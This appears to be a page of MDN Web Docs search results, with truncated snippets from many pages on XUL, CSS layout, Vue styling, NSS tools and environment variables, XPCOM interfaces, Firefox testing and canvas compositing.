<overlay id="xulschoolhello-browser-overlay" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <toolbarpalette id="browsertoolbarpalette"> <toolbarbutton id="xulschoolhello-hello-world-button" class="toolbarbutton-1 chromeclass-toolbar-additional" label="&xulschoolhello.helloworld.label;" tooltiptext="&xulschoolhello.helloworld.tooltip;" oncommand="xulschool...
...chrome.browseroverlay.dosomething(event);" /> <!-- more buttons here.
... setting the image for a toolbar button is done with css: #xulschoolhello-hello-world-button { list-style-image: url("chrome://xulschoolhello/skin/hello-world.png"); } it's not really that simple to set the image for a toolbar button, because we need to consider the appearance of the button on different systems, and also consider the different button states, but we'll get into that further ahead.
...And 7 more matches
Drag and Drop JavaScript Wrapper - Archive of obsolete content
<script src="chrome://global/content/nsdraganddrop.js" /> <script src="chrome://global/content/nstransferable.js" /> this drag and drop library creates an object stored in the variable nsdraganddrop.
...<button label="drag me" ondraggesture="nsdraganddrop.startdrag(event,buttonobserver);" /> the function startdrag will be called when a drag starts on the button.
...if we wanted to handle the other cases also, we can call the other functions, as in the following example: <description value="click and drag this text." ondraggesture="nsdraganddrop.startdrag(event,textobserver)" ondragover="nsdraganddrop.dragover(event,textobserver)" ondragexit="nsdraganddrop.dragexit(event,textobserver)" ondragdrop="nsdraganddrop.drop(event,textobserver)" /> as mentioned earlier, there is nothing special that happens during a dragenter event, so you can just write that yourself.
...And 7 more matches
Hidden prefs - Archive of obsolete content
address book "get map" button pref ("mail.addr_book.mapit_url.format" ) the format for this pref is: @a1 == address, part 1 @a2 == address, part 2 @ci == city @st == state @zi == zip code @co == country if the pref is set to "", no "get map" button will appear in the addressbook card preview pane.
... the default (defined in mailnews.js) is: pref("mail.addr_book.mapit_url.format", "http://www.mapquest.com/maps/map.adp...st&zipcode=@zi"); addressbook quick search query pref ("mail.addr_book.quicksearchquery.format" ) the format for this pref is: @v == the escaped value typed in the quick search bar in the addressbook every occurance of @v will be replaced.
... note, the ui has "name or email contains:".
...And 7 more matches
New Security Model for Web Services - Archive of obsolete content
using a declarations file a more robust solution is to rely on getting a file named "web-scripts-access.xml" in the root directory of the server that the sandboxed script requests to communicate with.
... the root element the first element of the file should be the following: <wsa:webscriptaccess xmlns:wsa="http://www.mozilla.org/2002/soap/security"> delegation if the <delegate/> element is present then "web-scripts-access.xml" is required in the subdirectory for uris which are in a subdirectory.
... for example, if the script in question is "http://www.example.com/foo/bar.xml", then the declarations file http://www.example.com/web-scripts-access.xml which contains the "delegate" keyword delegates to http://www.example.com/foo/web-scripts-access.xml.
...And 7 more matches
Remotely debugging Firefox for Metro - Archive of obsolete content
this article explains how to use remote debugging to inspect and code running in the new windows 8 ("metro-style") firefox app, using the developer tools in firefox on the desktop.
... prerequisites you will need: windows 8 (metro-style) firefox running in the touch-friendly "metro" mode on a windows 8 computer.
... firefox running in classic "desktop" mode on windows, mac os x, or linux, either on a separate computer or in a separate profile on the same computer.
...And 7 more matches
Venkman Internals - Archive of obsolete content
it will mark these with a "tick" as you call it.
...you can still set breakpoints, but they will be future breakpoints, which will be "real" breakpoints when/if the file is loaded (note that this may never happen!).
...for example, the "open windows" view shows the browser's windows.
...And 7 more matches
Creating XPI Installer Modules - Archive of obsolete content
this new packaging scheme is called xpi (pronounced "zippy"), and interacts with xpinstall.
...one of the buttons, labeled "show aphids", displays an alert dialog by calling a function defined in the javascript file barley.js.
...the barley package ui is a single xul window with an accompanying image: <?xml version="1.0"?> <?xml-stylesheet href="chrome://communicator/skin/" type="text/css"?> <window title="barley window" xmlns:html="http://www.w3.org/1999/xhtml" xmlns="http://www.mozilla.org/keymaster/gat...re.is.only.xul" width="175" height="375" x="20" y="20" persist="width height x y" orient="vertical" autostretch="always"> <script src="barley.js"/> <image src="barley.gif" /> <box orie...
...And 7 more matches
Additional Navigation - Archive of obsolete content
here is an example triple that we could use in the photos example: <query> <content uri="?start"/> <member container="?start" child="?photo"/> <triple subject="?photo" predicate="http://purl.org/dc/elements/1.1/title" object="canal"/> </query> this new triple has a static value for the object attribute instead of a variable reference.
...another thing that you cannot have is a triple where both variables would be unknown as in the following: <query> <content uri="?start"/> <member container="?start" child="?photo"/> <triple subject="?category" predicate="http://purl.org/dc/elements/1.1/title" object="?title"/> </query> in this case when the template builder gets to the triple, neither the ?category nor the ?title variables can be filled in so the builder doesn't know what to generate.
... <query> <content uri="?start"/> <triple subject="?relateditem" predicate="http://www.xulplanet.com/rdf/relateditem" object="?start"/> </query> the triple is evaluated in the same manner except that the value of the object can be filled in with the value of the ?start variable.
...And 7 more matches
Building Trees - Archive of obsolete content
to use the tree builder, you need to add a flags attribute to the root node: <tree datasources="template-guide-streets.rdf" ref="http://www.xulplanet.com/rdf/myneighbourhood" flags="dont-build-content"> the dont-build-content flag causes no content to be built for the template.
...here is an example (using an rdf source): <tree id="photoslist" flex="1" datasources="template-guide-photos5.rdf" ref="http://www.xulplanet.com/rdf/myphotos" flags="dont-build-content"> <treecols> <treecol id="name" label="name" flex="1"/> <treecol id="date" label="date" flex="1"/> </treecols> <template> <treechildren> <treeitem uri="rdf:*"> <treerow> <treecell label="rdf:http://purl.org/dc/elements/1...
....1/title"/> <treecell label="rdf:http://purl.org/dc/elements/1.1/date"/> </treerow> </treeitem> </treechildren> </template> </tree> note: the tree columns (treecols) are declared outside the template as static content, since they only need to be declared once.
...And 7 more matches
Anonymous Content - Archive of obsolete content
declaring scrollbar example the example below shows how a scrollbar might be declared (it has been simplified a bit from the real thing): <bindings xmlns="http://www.mozilla.org/xbl" xmlns:xul="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <binding id="scrollbarbinding"> <content> <xul:scrollbarbutton type="decrement"/> <xul:slider flex="1"> <xul:thumb/> </xul:slider> <xul:scrollbarbutton type="increment"/> </content> </binding> </bindings> this file contains a single binding, ...
...the result of using the above binding is that the line of xul below will be expanded as follows, assuming that the scrollbar is bound to the xbl above: <scrollbar/> expands to: <scrollbar> <xul:scrollbarbutton type="decrement"/> <xul:slider flex="1"> <xul:thumb/> </xul:slider> <xul:scrollbarbutton type="increment"/> </scrollbar> the elements within the content tag are added to the scroll bar anonymously.
...filename input field example another example, this time for a field for entering a filename: <binding id="fileentry"> <content> <textbox/> <button label="browse..."/> </content> </binding> attaching this binding to an element will cause it to contain a field for entering text, followed by a browse button.
...And 7 more matches
Creating a Window - Archive of obsolete content
the simplest xul file has the following structure: <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <window id="findfile-window" title="find files" orient="horizontal" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <!-- other elements go here --> </window> this window will not do anything since it doesn't contain any ui elements.
...here is a line by line breakdown of the code above: <?xml version="1.0"?> this line simply declares that this is an xml file.
... <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> this line is used to specify the style sheets to use for the file.
...And 7 more matches
window - Archive of obsolete content
without including the css file at "chrome://global/skin/", the window will not be stylized and will be invisible and glitchy when opened as a dialog.
... note: starting in gecko 1.9.2, you can detect when a window is activated or deactivated by watching for the "activate" and "deactivate" events.
... attributes accelerated, chromemargin, disablechrome, disablefastfind, drawintitlebar, fullscreenbutton, height, hidechrome, id, lightweightthemes, lightweightthemesfooter, screenx, screeny, sizemode, title, width, windowtype examples <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <!-- run this example using copy & paste in this live xul editor: https://github.com/km-200/xul --> <!-- extremely recommended to keep this css include!!
...And 7 more matches
Adobe Flash - Archive of obsolete content
<script type="text/javascript">identifyflash();</script> typically, javascript code that determines what version of the plugin is installed looks at the mimetypes array that is part of the navigator object.
...an algorithmic approach to detecting flash plugin version might be: var plugin = navigator.mimetypes["application/x-shockwave-flash"].enabledplugin; var description = plugin.description; // 1.
...if the browser is a mach-o browser, determine whether the version of the plugin // is greater than 12, a hypothetical version when flash will fix the plugin to be // scriptable on mach-o browsers also var flashversionosxscriptable = 12; if(navigator.useragent.indexof("mach-o")!=-1) { if(flashversion < flashversionosxscriptable) // flash version is less than version 12, thus not scriptable on os x } // 6.
...And 7 more matches
Developing cross-browser and cross-platform pages - Archive of obsolete content
there are 2 known approaches for such goals: the browser identification approach (also known as useragent string detection and often referred as "browser sniffing") and the object/feature support detection approach.
... browser identification approach (aka "browser sniffing"): not best, not reliable approach this approach, still commonly used nowadays, attempts to identify the browser and makes the web author at design time decide what that implies in terms of capabilities of the visiting browser.
...once "detected", the web author then uses different functions (aka code branching) or points the user to different pages (aka site branching) or web content.
...And 7 more matches
Troubleshooting XForms Forms - Archive of obsolete content
ensure that your <html> element contains the supported namespace declaration: xmlns="http://www.w3.org/1999/xhtml" (instead of the newer, unratified version, xhtml 2.0, located at http://www.w3.org/2002/06/xhtml2 ) inline instance, no controls get bound have you remembered to use the correct namespace for the instance nodes?
... for an inline instance you most probably need to have <xf:instance xmlns=""> ....
... any instance, no controls get bound if no controls show with either inline instance or an <xf:instance src="...">, check the following: as with inline instance, make sure the instance of the form control ref binding expression matches the namespace of the data.
...And 7 more matches
Building up a basic demo with A-Frame - Game development
html structure the first step is to create an html document — inside your project directory, create a new index.html file, and save the follow html inside it: <!doctype html> <html> <head> <meta charset="utf-8"> <title>mdn games: a-frame demo</title> <script src="aframe.min.js"></script> </head> <body> <!-- html goes here --> </body> </html> this contains some basic information like the document charset and <title>.
...add it now: <a-box color="#0095dd" position="0 1 0" rotation="20 40 0"> </a-box> it contains a few parameters already defined: color, position and rotation — these are fairly obvious, and define the base color of the cube, the position inside the 3d scene, and the rotation of the cube.
...add the following html before the <a-cube> element: <a-sky color="#dddddd"></a-sky> at this point, if you save the code and refresh your browser you can already see the cube on the screen with our custom background: here's the code we have created so far: you can also check it out on github.
...And 7 more matches
2D maze game with device orientation - Game development
you can create this yourself if you want to follow along: <!doctype html> <html> <head> <meta charset="utf-8" /> <title>cyber orb demo</title> <style> body { margin: 0; background: #333; } </style> <script src="src/phaser-arcade-physics.2.2.2.min.js"></script> <script src="src/boot.js"></script> <script src="src/preloader.js"></script> <script src="src/mainmenu.js"></script> <script src="src/howto.js"></script> <script src="src/game.js"></script> </head> <body> <scri...
...boot will take care of initializing a few settings, preloader will load all of the assets like graphics and audio, mainmenu is the menu with the start button, howto shows the "how to play" instructions and the game state lets you actually play the game.
... frame from the image asset used as the button's "hover" state.
...And 7 more matches
Grids - Learn web development
simple grid example body { width: 90%; max-width: 900px; margin: 2em auto; font: .9em/1.2 arial, helvetica, sans-serif; } .container > div { border-radius: 5px; padding: 10px; background-color: rgb(207,232,220); border: 2px solid rgb(79,185,227); } <div class="container"> <div>one</div> <div>two</div> <div>three</div> <div>four</div> <div>five</div> <div>six</div> <div>seven</div> </div> .container { display: grid; grid-template-columns: 200px 200px 200px; } flexible grids with the fr unit in addition to creating grids using lengths and percentages, we can use the fr unit to flexibly size grid rows and columns.
... simple grid example with fr units body { width: 90%; max-width: 900px; margin: 2em auto; font: .9em/1.2 arial, helvetica, sans-serif; } .container { display: grid; grid-template-columns: 2fr 1fr 1fr; } .container > div { border-radius: 5px; padding: 10px; background-color: rgb(207,232,220); border: 2px solid rgb(79,185,227); } <div class="container"> <div>one</div> <div>two</div> <div>three</div> <div>four</div> <div>five</div> <div>six</div> <div>seven</div> </div> note: the fr unit distributes available space, not all space.
... simple grid example with fr units body { width: 90%; max-width: 900px; margin: 2em auto; font: .9em/1.2 arial, helvetica, sans-serif; } .container { display: grid; grid-template-columns: 2fr 1fr 1fr; grid-gap: 20px; } .container > div { border-radius: 5px; padding: 10px; background-color: rgb(207,232,220); border: 2px solid rgb(79,185,227); } <div class="container"> <div>one</div> <div>two</div> <div>three</div> <div>four</div> <div>five</div> <div>six</div> <div>seven</div> </div> note: the *gap properties used to be prefixed by grid-, but this has been changed in the spec, as the intention is to make them usable in multiple layout methods.
...And 7 more matches
Beginner's guide to media queries - Learn web development
previous overview: css layout next the css media query gives you a way to apply css only when the browser and device environment matches a rule that you specify, for example "viewport is wider than 480 pixels".
... "and" logic in media queries to combine media features you can use and in much the same way as we have used and above to combine a media type and feature.
... "or" logic in media queries if you have a set of queries, any of which could match, then you can comma separate these queries.
...And 7 more matches
create fancy boxes - Learn web development
we are about to see many examples, but we will always work on the most simple piece of html possible, a simple element: <div class="fancy">hi!
... making circles <div class="fancy">hi!
...as our text will still flow in a square, it looks nicer that way, giving the feeling that it's a "real" circle.
...And 7 more matches
Styling links - Learn web development
default styles the following example illustrates what a link will behave like by default (the css is simply enlarging and centering the text to make it stand out more.) <p><a href="#">a simple link</a></p> p { font-size: 2rem; text-align: center; } note: all the links in the examples in this page are fake links — a # (hash, or pound sign) is put in place of the real url.
...ration: none; padding: 2px 1px 0; } a:link { color: #265301; } a:visited { color: #437a16; } a:focus { border-bottom: 1px solid; background: #bae498; } a:hover { border-bottom: 1px solid; background: #cdfeaa; } a:active { background: #265301; color: #cdfeaa; } we'll also provide some sample html to apply the css to: <p>there are several browsers available, such as <a href="#">mozilla firefox</a>, <a href="#">google chrome</a>, and <a href="#">microsoft edge</a>.</p> putting the two together gives us this result: so what did we do here?
... playable code <div class="body-wrapper" style="font-family: 'open sans light',helvetica,arial,sans-serif;"> <h2>html input</h2> <textarea id="code" class="html-input" style="width: 90%;height: 10em;padding: 10px;border: 1px solid #0095dd;"><p>there are several browsers available, such as <a href="#">mozilla firefox</a>, <a href="#">google chrome</a>, and <a href="#">microsoft edge</a>.</p></textarea> <h2>css input<...
...And 7 more matches
The web and web standards - Learn web development
this article provides some useful background on the web — how it came about, what web standard technologies are, how they work together, why "web developer" is a great career to choose, and what kinds of best practices you'll learn about through the course.
... brief history of the web we'll keep this very brief, as there are many (more) detailed accounts of the web's history out there, which we'll link to later on (also try searching for "history of the web" in your favorite search engine and see what you get, if you are interested in more detail.) in the late 1960s, the us military developed a communication network called arpanet.
... "open" standards one of the key aspects of web standards, which timbl and the w3c agreed on from the start, is that the web (and web technologies) should be free to both contribute and use, and not encumbered by patents/licensing.
...And 7 more matches
From object to iframe — other embedding technologies - Learn web development
click on the "hamburger menu" (three horizontal lines) in the top left of the ui.
... playable code <h2>live output</h2> <div class="output" style="min-height: 250px;"> </div> <h2>editable code</h2> <p class="a11y-label">press esc to move focus away from the code area (tab inserts a tab character).</p> <textarea id="code" class="input" style="width: 95%;min-height: 100px;"> </textarea> <div class="playable-buttons"> <input id="reset" type="button" value="reset"> <input id="solution" type="button" value="show solution"> <...
...ue; solutionentry = htmlsolution; solution.value = 'show solution'; updatecode(); }); solution.addeventlistener('click', function() { if(solution.value === 'show solution') { textarea.value = solutionentry; solution.value = 'hide solution'; } else { textarea.value = userentry; solution.value = 'show solution'; } updatecode(); }); const htmlsolution = '<iframe width="420" height="315" src="https://www.youtube.com/embed/qh2-tgulwu4" frameborder="0" allowfullscreen>\n</iframe>\n\n<iframe src="https://www.google.com/maps/embed?pb=!1m18!1m12!1m3!1d37995.65748333395!2d-2.273568166412784!3d53.473310471916975!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x487bae6c05743d3d%3a0xf82fddd1e49fc0a1!2sthe+lowry!5e0!3m2!1sen!2suk!4v1518171785211" width="600" height="450...
...And 7 more matches
Fetching data from the server - Learn web development
this is normally not the case these days (you'd be more likely to use xmlhttprequest or fetch to request json), but the result is still the same, and the term "ajax" is still often used to describe the technique.
...the value of the <select> element at any time is the same as the text inside the selected <option> (unless you specify a different value in a value attribute) — so for example "verse 1".
... the corresponding verse text file is "verse1.txt", and is in the same directory as the html file, therefore just the file name will do.
...And 7 more matches
Aprender y obtener ayuda - Learn web development
it isn't however very good at getting an understanding of "the big picture", and unlocking new neural pathways when you are trying to understand new subjects or solve new problems that you haven't come across before.
...some of the articles will be tutorials, to teach you a certain technique or important concept (such as "learn how to create a video player" or "learn the css box model"), and some of the articles will be reference material, to allow you to look up details you may have forgotten (such as "what is the syntax of the css background property"?) mdn web docs is very good for both types — the area you are currently in is great for learning techniques and concepts, and we also have several giant referenc...
...it can be as simple as: "it'll take me 500 hours to learn what i need to know, and i have a year to do it, so if i assume 2 weeks' holiday i'll need to do work on this for 10 hours per week.
...And 7 more matches
Introduction to the server side - Learn web development
in this first article, we look at server-side programming from a high level, answering questions such as "what is it?", "how does it differ from client-side programming?", and "why it is so useful?".
..."http/1.1 200 ok" for success).
...when a user wants to navigate to a page, the browser sends an http "get" request specifying its url.
...And 7 more matches
Styling Vue components with CSS - Learn web development
d: transparent; color: inherit; font: inherit; line-height: normal; -webkit-font-smoothing: inherit; -moz-osx-font-smoothing: inherit; -webkit-appearance: none; } button::-moz-focus-inner { border: 0; } button, input, optgroup, select, textarea { font-family: inherit; font-size: 100%; line-height: 1.15; margin: 0; } button, input { /* 1 */ overflow: visible; } input[type="text"] { border-radius: 0; } body { width: 100%; max-width: 68rem; margin: 0 auto; font: 1.6rem/1.25 "helvetica neue", helvetica, arial, sans-serif; background-color: #f5f5f5; color: #4d4d4d; -moz-osx-font-smoothing: grayscale; -webkit-font-smoothing: antialiased; } @media screen and (min-width: 620px) { body { font-size: 1.9rem; line-height: 1.31579; } } /*end resets...
...-color: #bd2130; } .btn__filter { border-color: lightgrey; } .btn__danger:focus { outline-color: #c82333; } .btn__primary { color: #fff; background-color: #000; } .btn-group { display: flex; justify-content: space-between; } .btn-group > * { flex: 1 1 auto; } .btn-group > * + * { margin-left: 0.8rem; } .label-wrapper { margin: 0; flex: 0 0 100%; text-align: center; } [class*="__lg"] { display: inline-block; width: 100%; font-size: 1.9rem; } [class*="__lg"]:not(:last-child) { margin-bottom: 1rem; } @media screen and (min-width: 620px) { [class*="__lg"] { font-size: 2.4rem; } } .visually-hidden { position: absolute; height: 1px; width: 1px; overflow: hidden; clip: rect(1px 1px 1px 1px); clip: rect(1px, 1px, 1px, 1px); clip-path: rect(1px, 1p...
...x, 1px, 1px); white-space: nowrap; } [class*="stack"] > * { margin-top: 0; margin-bottom: 0; } .stack-small > * + * { margin-top: 1.25rem; } .stack-large > * + * { margin-top: 2.5rem; } @media screen and (min-width: 550px) { .stack-small > * + * { margin-top: 1.4rem; } .stack-large > * + * { margin-top: 2.8rem; } } /* end global styles */ #app { background: #fff; margin: 2rem 0 4rem 0; padding: 1rem; padding-top: 0; position: relative; box-shadow: 0 2px 4px 0 rgba(0, 0, 0, 0.2), 0 2.5rem 5rem 0 rgba(0, 0, 0, 0.1); } @media screen and (min-width: 550px) { #app { padding: 4rem; } } #app > * { max-width: 50rem; margin-left: auto; margin-right: auto; } #app > form { max-width: 100%; } #app h1 { display: block; min-width: 100%; width: 1...
...And 7 more matches
Handling common HTML and CSS problems - Learn web development
it is also worth "namespacing" css, e.g.
... in the search packages text field, type "lint" and press enter/return to search for linting-related packages.
... for example: <video id="video" controls preload="metadata" poster="img/poster.jpg"> <source src="video/tears-of-steel-battle-clip-medium.mp4" type="video/mp4"> <source src="video/tears-of-steel-battle-clip-medium.webm" type="video/webm"> <!-- offer download --> <p>your browser does not support html5 video; here is a link to <a href="video/tears-of-steel-battle-clip-medium.mp4">view the video</a> directly.</p> <...
...And 7 more matches
Handling common JavaScript problems - Learn web development
things have improved significantly since then; modern browsers do a good job of supporting "classic javascript features", and the requirement to use such code has diminished as the requirement to support older browsers has lessened (although bear in mind that they have not gone away altogether).
...you can read what is "this"?
... in the search packages text field, type "jslint" and press enter/return to search for linting-related packages.
...And 7 more matches
Client-side tooling overview - Learn web development
although it is still entirely reasonable to write html, css, and javascript "by hand" there is now a wealth of tools that developers can use to speed up the process of building a web site, or app.
... there are some extremely well-established tools that have become common "household names" amongst the development community, and new tools are being written and released every day to solve specific problems.
...if you jump on your favourite search engine and look for "front-end developer tools" you're going to hit a huge spectrum of results ranging from text editors, to browsers, to the type of pens you can use to take notes.
...And 7 more matches
Browser chrome tests
running the browser chrome tests to run mochitest, first build mozilla with your changes; then run ./mach mochitest -f browser this will launch your build and open a "browser chrome tests" window, and report the results in the ui and to stdout.
...a simple test would look like this: function test() { ok(gbrowser, "gbrowser exists"); is(gbrowser.tabs.length, 1, "browser has 1 tab"); } the test() function is invoked by the test harness when the test is run.
... gbrowser is set in browser.js and is a tabbrowser element (the tabbrowser with id="content" in browser.xul).
...And 7 more matches
Creating Sandboxed HTTP Connections
to create an nsiuri from an string, we use the newuri method of nsiioservice: // the io service var ioservice = components.classes["@mozilla.org/network/io-service;1"] .getservice(components.interfaces.nsiioservice); // create an nsiuri var uri = ioservice.newuri(myurlstring, null, null); once the nsiuri has been created, a nsichannel can be generated from it using nsiioservice's newchannelfromuri method: // get a channel for that nsiuri var channel = ioservice.newchannelfromuri(uri); to initiate...
...below is an example: // global channel var gchannel; // init the channel // the io service var ioservice = components.classes["@mozilla.org/network/io-service;1"] .getservice(components.interfaces.nsiioservice); // create an nsiuri var uri = ioservice.newuri(myurlstring, null, null); // get a channel for that nsiuri gchannel = ioservice.newchannelfromuri(uri); // get an listener var listener = new streamlistener(callbackfunc); gchannel.notificationcallbacks = listener; gchannel.asyncopen(list...
...ener, null); function streamlistener(acallbackfunc) { this.mcallbackfunc = acallbackfunc; } streamlistener.prototype = { mdata: "", // nsistreamlistener onstartrequest: function (arequest, acontext) { this.mdata = ""; }, ondataavailable: function (arequest, acontext, astream, asourceoffset, alength) { var scriptableinputstream = components.classes["@mozilla.org/scriptableinputstream;1"] .createinstance(components.interfaces.nsiscriptableinputstream); scriptableinputstream.init(astream); this.mdata += scriptableinputstream.read(alength); }, onstoprequest: function (arequest, acontext, astatus) { if (components.issuccesscode(astatus)) { // request was successfull this.mcallbackfunc(this.mdata); } else { // request f...
...And 7 more matches
Downloads.jsm
to use it, you first need to import the code module into your javascript scope: components.utils.import("resource://gre/modules/downloads.jsm"); method overview promise<download> createdownload(object aproperties); promise<void> fetch(asource, atarget, [optional] object aoptions); promise<downloadlist> getlist(atype); promise<downloadsummary> getsummary(atype); constants constant description public work on downloads that were not started from a private browsing window.
...example (using task.jsm): try { yield downloads.fetch(sourceuri, targetfile); } catch (ex if ex instanceof downloads.error && ex.becausetargetfailed) { console.log("unable to write to the target file, ignoring the error."); } methods createdownload() creates a new download object.
...if omitted, defaults to "copy".
...And 7 more matches
Task.jsm
to use it, you first need to import the code module into your javascript scope: components.utils.import("resource://gre/modules/task.jsm"); introduction for an introduction to tasks, you may start from the task.js documentation, keeping in mind that only the core subset is implemented in this module.
...; throw new task.result("value"); } note: if you want to exit early from a generator function, without returning a value for the task, you can just use the return statement without any arguments.
...; return "value"; } methods async() create and return an "async function" that starts a new task.
...And 7 more matches
NSS API Guidelines
this is also known as the "bottom layer" api, or blapi.
...the preferred format is: "@(#) $rcsfile: nss-guidelines.html, v $ $revision: 48936 $ $date: 2009-08-11 07:45:57 -0700 (tue, 11 aug 2009) $ $name$" you can put the string in a comment or in a static char array.
... here is an example from lib/base/baset.h: #ifdef debug static const char baset_cvs_id[] = "@(#) $rcsfile: nss-guidelines.html, v $ $revision: 48936 $ $date: 2009-08-11 07:45:57 -0700 (tue, 11 aug 2009) $ $name$"; #endif /* debug */ the difference, between this and id, is that id has some useless information (every file is "experimental"), and doesn't have name.
...And 7 more matches
Initialize NSS database - sample 2
/* * print a usage message and exit */ static void usage(const char *progname) { fprintf(stderr, "\nusage: %s -d [-p ]" " [-f ]\n\n", progname); fprintf(stderr, "%-15s specify a db directory path\n\n", "-d "); fprintf(stderr, "%-15s specify a plaintext password\n\n", "-p "); fprintf(stderr, "%-15s specify a password file\n\n", "-f "); exit(-1); } /* * initslotpassword */ char * initslotpassword(pk11slotinfo *slot, prbool retry, void *arg) { file *input; file *output; char *p0 = null; char *p1 = null...
...; secupwdata *pwdata = (secupwdata *) arg; if (pwdata->source == pw_fromfile) { return filepasswd(slot, retry, pwdata->data); } if (pwdata->source == pw_plaintext) { return pl_strdup(pwdata->data); } /* open terminal */ input = fopen("/dev/tty", "r"); if (input == null) { pr_fprintf(pr_stderr, "error opening input terminal for read\n"); return null; } /* we have no password, so initialize database with one */ pr_fprintf(pr_stderr, "enter a password which will be used to encrypt your keys.\n" "the password should be at least 8 characters long,\n" "and should contain at least one non-alphabetic character.\n\n"); output = fopen("/dev/tty", "w"); if (output == null) { pr_fprintf(pr_stderr, ...
..."error opening output terminal for write\n"); return null; } for (;;) { if (p0) port_free(p0); p0 = getpassword(input, output, "enter new password: ", checkpassword); if (p1) port_free(p1); p1 = getpassword(input, output, "re-enter password: ", checkpassword); if (p0 && p1 && !port_strcmp(p0, p1)) { break; } pr_fprintf(pr_stderr, "passwords do not match.
...And 7 more matches
NSS environment variables
pkcs #11 module logger 3.6 nss_default_db_type string ("dbm", "sql", or "extern") determines the default database type to open if the app does not specify.
... 3.12 nss_fips string ("fips","true","on","1") will start nss in fips mode.
... 3.7 nss_sdb_use_cache string ("no","yes","auto") controls whether nss uses a local cache of sql database contents.
...And 7 more matches
NSS reference
building and installing nss overview of an nss application based on "overview of an ssl application" in the ssl reference.
... getting started with nss based on "getting started with ssl" in the ssl reference.
... data types based on "selected ssl types and structures" in the ssl reference.
...And 7 more matches
NSS Tools certutil
ids are displayed in hexadecimal ("0x" is not shown).
...the format of thevalidity-time argument is "yymmddhhmmss[+hhmm|-hhmm|z]".
...when specifying an explicit time, use "yymmddhhmmssz".
...And 7 more matches
Handling Mozilla Security Bugs
at the same time, mozilla.org is also creating a larger "mozilla security bug group" by which mozilla contributors and others can participate in addressing security vulnerabilities in mozilla.
... general policies mozilla.org has adopted the following general policies for handling bug reports related to security vulnerabilities: security bug reports can be treated as special and handled differently than "normal" bugs.
... in particular, the mozilla.org bugzilla system will allow bug reports related to security vulnerabilities to be marked as "security-sensitive," and will have special access control features specifically for use with such bug reports.
...And 7 more matches
Setting up an update server
part of the problem is that mars are signed by mozilla and so you cannot really build an "official" mar yourself.
...to move the installation, first call ./mach package, then you can either copy <obj dir>/dist/firefox to a new "install directory" elsewhere, or run the installer located in the <obj dir>/dist/install/sea.
...first, the maintenance service needs to be "installed".
...And 7 more matches
Signing Mozilla apps for Mac OS X
on mac os x, part of this infrastructure is automatic signing of the ".app" folder using apple's codesign tool.
...there are good instructions available under "to use the certificate assistant to create a self-signed signing identity".
... click "certificates" from the left hand menu.
...And 7 more matches
Accessing the Windows Registry Using XPCOM
a simple example here's a simple example showing how to read your windows productid: var wrk = components.classes["@mozilla.org/windows-registry-key;1"] .createinstance(components.interfaces.nsiwindowsregkey); wrk.open(wrk.root_key_local_machine, "software\\microsoft\\windows\\currentversion", wrk.access_read); var id = wrk.readstringvalue("productid"); wrk.close(); this example, while simple, shows several important things about using the interface.
...here's the simple example again, but using openchild(): var wrk = components.classes["@mozilla.org/windows-registry-key;1"] .createinstance(components.interfaces.nsiwindowsregkey); wrk.open(wrk.root_key_local_machine, "software\\microsoft", wrk.access_read); var subkey = wrk.openchild("windows\\currentversion", wrk.access_read); var id = subkey.readstringvalue("productid"); subkey.close(); wrk.close(); once you've opened a registry key, you c...
...this example demonstrates writing a new string value: var wrk = components.classes["@mozilla.org/windows-registry-key;1"] .createinstance(components.interfaces.nsiwindowsregkey); wrk.create(wrk.root_key_current_user, "software\\mdc\\test", wrk.access_write); wrk.writestringvalue("testvalue", "hello world!"); wrk.close(); checking the existence of keys and values before you attempt to read a value or open a child key, you should check t...
...And 7 more matches
Component; nsIPrefBranch
inherits from: nsisupports last changed in gecko 58 (firefox 58 / thunderbird 58 / seamonkey 2.55) this object is created with a "root" value which describes the base point in the preferences "tree" from which this "branch" stems.
...for example, if this object is created with the root "browser.startup.", the preferences "browser.startup.page", "browser.startup.homepage", and "browser.startup.homepage_override" can be accessed by simply passing "page", "homepage", or "homepage_override" to the various get/set methods.
...f(in string aprefname, in utf8string avalue); void setcomplexvalue(in string aprefname, in nsiidref atype, in nsisupports avalue); void setintpref(in string aprefname, in long avalue); void unlockpref(in string aprefname); attributes attribute type description root string called to get the root on which this branch is based, such as "browser.startup." read only.
...And 7 more matches
nsIURI
to create an nsiuri object, you should use nsiioservice.newuri(), like this: function makeuri(aurl, aorigincharset, abaseuri) { var ioservice = components.classes["@mozilla.org/network/io-service;1"] .getservice(components.interfaces.nsiioservice); return ioservice.newuri(aurl, aorigincharset, abaseuri); } components of a uri prepath path scheme userpass host port ref ftp :// username@password @ hostname : portnumber /pathname?query=value #ref ...
... hasref boolean returns if there is a reference portion (the part after the "#") of the uri.
... hostport autf8string the "host:port" part of the uri (or simply the host, if port is -1).
...And 7 more matches
Mozilla
gecko's "almost standards" mode "almost standards" rendering mode is exactly the same as "standards" mode in all details save one, where it works like "quirks" mode: the height calculations for line boxes and some of the inline elements in them.
...the first link, though, is the "check" target in a makefile.
...or are you regularly seeing the "firefox is running but is not responding..." dialog?
...And 7 more matches
Network request list - Firefox Developer Tools
you can override this behavior by checking "enable persistent logs" in the settings.
...you can reset the sort to the default by selecting "reset sorting" from the context menu.
... if the resource was fetched from a service worker cache, then this cell displays "service worker".
...And 7 more matches
Compositing example - Web APIs
var canvas1 = document.createelement("canvas"); var canvas2 = document.createelement("canvas"); var gco = [ 'source-over','source-in','source-out','source-atop', 'destination-over','destination-in','destination-out','destination-atop', 'lighter', 'copy','xor', 'multiply', 'screen', 'overlay', 'darken', 'lighten', 'color-dodge', 'color-burn', 'hard-light', 'soft-light', 'difference', 'exclusion', 'hue', 'saturation', 'color', 'luminosity' ].reverse(); var gcotext = [ 'this is the default setting and draws new shapes on top of the existing canvas ...
... function createcanvas() { var canvas = document.createelement("canvas"); canvas.style.background = "url("+op_8x8.data+")"; canvas.style.border = "1px solid #000"; canvas.style.margin = "5px"; canvas.width = width/2; canvas.height = height/2; return canvas; } function runcomposite() { var dl = document.createelement("dl"); document.body.appendchild(dl); while(gco.length) { var pop = gco.pop(); var dt = docum...
